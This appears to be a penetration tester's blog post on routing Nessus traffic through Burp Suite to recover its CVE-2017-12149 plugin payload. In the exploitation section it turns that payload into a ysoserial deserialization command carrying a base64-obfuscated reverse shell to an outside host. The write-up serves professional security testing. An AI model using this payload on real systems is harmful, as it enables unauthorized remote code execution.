Table of contents

• Introduction
• Setup
  • 1. Install Nessus
  • 2. Create a non-root account to run the Nessus service
  • 3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory
  • 4. Change ownership of /opt/nessus to the non-root user.
  • 5. Set capabilities on nessusd and nessus-service
  • 6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script
• Exploitation
• Conclusions
• References

Introduction

In this post we will introduce you how to intercept and reverse the payload generated by the Nessus’s closed source plugins.

So we asked ourselves: is it possible to see what Nessus is doing under the hood?

Nessus is a proprietary tool developed by an American company named Tenable Inc, used for Vulnerability Assessment engagements by Cyber Security Companies. It can be used to scan single hosts or whole networks raising an alert if it discovers any vulnerabilities that can be abused to obtain access to the victim’s system. Nessus scans cover a wide range of technologies including operating systems, network devices, hypervisors, databases, web servers, and critical infrastructure.

The process of adding new security checks and release them into the general public domain is done by Tenable Inc. research staff. The Advanced Scan templates include an option that allows selecting which program has to be executed to find a specific vulnerability. Those programs, also known as plugins, are written using the Nessus Attack Scripting Language (NASL). Each plugin has some information about the vulnerability discovered: the impact that may have on an organization, the remediation, and, when is available, the Proof of Concept to verify the vulnerability.

During the last Red Team engagement, CYS4 has performed several manual and automatic testing activities. The automated part was done with the help of Nessus that has shown a potentially critical vulnerability (CVE-2017-12149) on a host:

At this point, many organizations would have stopped and reported to the client the finding identified by the automatic scanner without going into details of the issue, but in CYS4 we do things differently by trying harder ;)

From Nessus’s output, it was clear that it has successfully crafted a serialized object obtaining a custom error message from the victim but it was not able to leverage that vulnerability into a Remote Code Execution (RCE). In particular, DNS traffic was blocked by a firewall, so it was not possible to use a safer common payloads like URLDNS.

For this reason, we decided to reverse the plugin functionality, trying to understand how Nessus was able to trigger the custom error message.

At this stage we found three possible options:

1. Reverse the Nessus Script Language engine
2. Hook the engine functionalities
3. Perform a lazy MiTM attack to intercept the traffic.

We chose the third option, because it was more straightforward. In addition, some changes to NASL debugging module didn’t allow an easy instrumentation of the plugin module.

Setup

The first idea that came up to our minds to intercept the traffic, was using iptables to forward the Nessus traffic to the local HTTP proxy server (which, in our case, was Burp Suite). Because we had to run Nessus and the proxy in the same machine, we couldn’t use the PREROUTING table, as it only applies to packets coming from outside: a feasible workaround was to modify the destination port on packets OUTPUT sent by our Nessus process. The catch is that it could also have affected packets output by Burp Suite, getting into a routing loop. In order to solve this, it was necessary to capture only non-root traffic and run Nessus as an unprivileged user, as mentioned in this guide¹.

According to the official Nessus documentation², we had to follow these steps:

1. Install Nessus

2. Create a non-root account to run the Nessus service

# useradd -r nonprivuser

3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory

# chmod 750 /opt/nessus/sbin/*

4. Change ownership of /opt/nessus to the non-root user.

# chown nonprivuser:nonprivuser -R /opt/nessus

5. Set capabilities on nessusd and nessus-service

# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessus-service
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessus-service

The capabilities we set above have the following meaning:

• cap_net_admin is the capability that refers to the ability to put interface in promiscuous mode;
• cap_net_raw is used to create raw sockets for packet forgery;
• cap_sys_resource allows to set resource limits.

6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script

• Remove: ExecStart=/opt/nessus/sbin/nessus-service -q
• Add: ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
• Add: User=nonprivuser

The resulting script appeared as follows:

[Service]
Type=simple
PIDFile=/opt/nessus/var/nessus/nessus-service.pid
ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
Restart=on-abort
ExecReload=/usr/bin/pkill nessusd
EnvironmentFile=-/etc/sysconfig/nessusd
User=nonprivuser

[Install]
WantedBy=multi-user.target

Furthermore, it was necessary to erase all the iptables rules and enable kernel IP forwarding:

# iptables -t nat -F
# sysctl -w net.ipv4.ip_forward=1

After that, we configured iptables to redirect traffic through the proxy:

# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 443 -j REDIRECT --to-port 8080

… and we could finally run Nessus with the lowest privileges:

# systemctl daemon-reload
# service nessusd start

Exploitation

In our new set up environment, we finally succeeded in intercepting the Nessus request which could trigger the vulnerability. To reach our goal,we also decided to disable all the Nessus plugins and run a scan targeting the vulnerable host:

By analyzing the payload, it appeared like a serialized object which leveraged vulnerable CommonCollections libraries. So we were able to build a reverse shell payload using the ysoserial tool and the CommonCollections3 Java deserialization gadget:

java -cp . -jar ysoserial.jar CommonCollections3 "bash -c {echo,c2ggLWkgNTw+IC9kZXYvdGNwLzE5Mi54eHgueHh4Lnh4eC80NDUgMDwmNSAxPiY1IDI+JjUK}|{base64,-d}|{bash,-i}" > test.ser

After sending the malicious payload to the vulnerable server, we obtained Remote Code Execution (RCE) in the root user context using a reverse shell:

Conclusions

Simplifying the exploitation phase is crucial when time is limited. In this case, due to the time restrictions applied by the customer, intercepting the Nessus payload helped to successfully reduce the time spent in the exploitation phase for this target and allowed us to expand our attack surface.

References